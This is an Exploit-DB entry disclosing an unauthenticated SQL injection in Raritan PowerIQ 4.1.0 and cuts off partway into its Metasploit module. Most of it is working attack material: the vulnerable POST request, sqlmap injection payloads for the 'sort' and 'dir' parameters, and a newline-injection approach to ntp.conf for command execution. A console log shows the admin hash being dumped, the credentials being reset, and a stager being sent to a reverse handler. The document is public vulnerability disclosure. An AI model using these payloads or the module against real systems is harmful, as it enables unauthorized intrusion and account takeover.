Exploit-DB #34130
Description: Raritan PowerIQ 4.1.0 - SQL Injection (Metasploit)
Type: webapps
Platform: linux
Date: 2014-07-21
Author: Brandon Perry

Exploit:
=begin
Raritan PowerIQ suffers from an unauthenticated SQL injection vulnerability
within an endpoint used during initial configuration of the licensing for
the product. This endpoint is still available after the appliance has been
fully configured.

POST /license/records HTTP/1.1

Host: 192.168.1.11

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0)
Gecko/20100101 Firefox/26.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

X-Requested-With: XMLHttpRequest

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Referer: https://192.168.1.11/license

Content-Length: 15

Connection: keep-alive

Pragma: no-cache

Cache-Control: no-cache


sort=id&dir=ASC



Both the 'sort' and 'dir' parameters are vulnerable.

sqlmap identified the following injection points with a total of 1173
HTTP(s) requests:
---
Place: POST
Parameter: sort
    Type: boolean-based blind
    Title: Generic boolean-based blind - GROUP BY and ORDER BY clauses
    Payload: sort=id,(SELECT (CASE WHEN (6357=6357) THEN 1 ELSE 1/(SELECT
0) END))&dir=ASC

    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries
    Payload: sort=id; SELECT PG_SLEEP(5)--&dir=ASC

    Type: AND/OR time-based blind
    Title: PostgreSQL > 8.1 time-based blind - Parameter replace
    Payload: sort=(SELECT 5480 FROM PG_SLEEP(5))&dir=ASC

Place: POST
Parameter: dir
    Type: boolean-based blind
    Title: Generic boolean-based blind - GROUP BY and ORDER BY clauses
    Payload: sort=id&dir=ASC,(SELECT (CASE WHEN (5274=5274) THEN 1 ELSE
1/(SELECT 0) END))

    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries
    Payload: sort=id&dir=ASC; SELECT PG_SLEEP(5)--

    Type: AND/OR time-based blind
    Title: PostgreSQL > 8.1 time-based blind - GROUP BY and ORDER BY clauses
    Payload: sort=id&dir=ASC,(SELECT (CASE WHEN (1501=1501) THEN (SELECT
1501 FROM PG_SLEEP(5)) ELSE 1/(SELECT 0) END))
---


There may also be a remote command execution vulnerability available to
administrators (or you if you use the stacked injection to update the
hashes).

When saving an NTP server, you can inject a newline (%0a) into the request
in order to save a malformed 'server' stanza in the ntp.conf. When syncing
with NTP, the application passes the first NTP server to the NTP utility
via bash. I was not able to make my malformed NTP server available as the
first in the list, thus was not able to achieve RCE. There may be a way to
do it though that I am unaware of.

Attached is a Metasploit module that I began writing when attempting to
achieve RCE but was never able to. This module will

A) Pull out the current password hash and salt for the 'admin' user and
cache them.
B) Update the admin creeds to be 'admin:Passw0rd!'
C) Set up the malformed NTP server
D) Attempt to sync with NTP.

Because I was not able to achieve RCE via that vector, this module does not
actually pop a shell, so I am sorry about that. 

Maybe some PostgreSQL UDF fanciness will be the key.

You may also find the module available here:
https://gist.github.com/brandonprry/01bcd9ec7b8a78ccfc42

Quick module run:

bperry@w00den-pickle:~/tools/msf_dev$ ./msfconsole
 _                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\


       =[ metasploit v4.9.0-dev [core:4.9 api:1.0] ]
+ -- --=[ 1292 exploits - 702 auxiliary - 202 post ]
+ -- --=[ 332 payloads - 33 encoders - 8 nops      ]

msf > use exploit/linux/http/raritan_poweriq_sqli
msf exploit(raritan_poweriq_sqli) > set RHOST 192.168.1.25
RHOST => 192.168.1.25
msf exploit(raritan_poweriq_sqli) > check

[*] Attempting to get banner... This could take several minutes to
fingerprint depending on network speed.
[*] Looks like the length of the banner is: 107
[+] Looks like you are vulnerable.
[+] 192.168.1.25:443 - The target is vulnerable.
msf exploit(raritan_poweriq_sqli) > exploit

[*] Started reverse handler on 192.168.1.31:4444
[*] Checking if vulnerable before attempting exploit.
[*] Attempting to get banner... This could take several minutes to
fingerprint depending on network speed.
[*] Looks like the length of the banner is: 107
[+] Looks like you are vulnerable.
[*] We are vulnerable. Exploiting.
[*] Caching current admin user's password hash and salt.
[*] I can set it back later and they will be none the wiser
[*] Grabbing current hash
[*] Old hash: 84c420e40496930e27301b10930e5966638e0b21
[*] Grabbing current salt
[*] Old salt: 8f3cceddf302b3e2465d6e856e8818c6217d4d04
[*] Resetting admin user credentials to admin:Passw0rd!
[*] Authenticating with admin:Passw0rd!
[*] Setting some stuff up
[*] Sending stager
[*] Triggering stager
[*] Exploit completed, but no session was created.
msf exploit(raritan_poweriq_sqli) >


-- http://volatile-minds.blogspot.com -- blog http://www.volatileminds.net -- website
=end

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Raritan PowerIQ Unauthenticated SQL Injection",
      'Description'    => %q{
      This module will exploit an unauthenticated SQL injection in order to gain
      a shell on the remote victim. This was tested against PowerIQ v4.1.0.

      The 'check' command will attempt to pull the banner of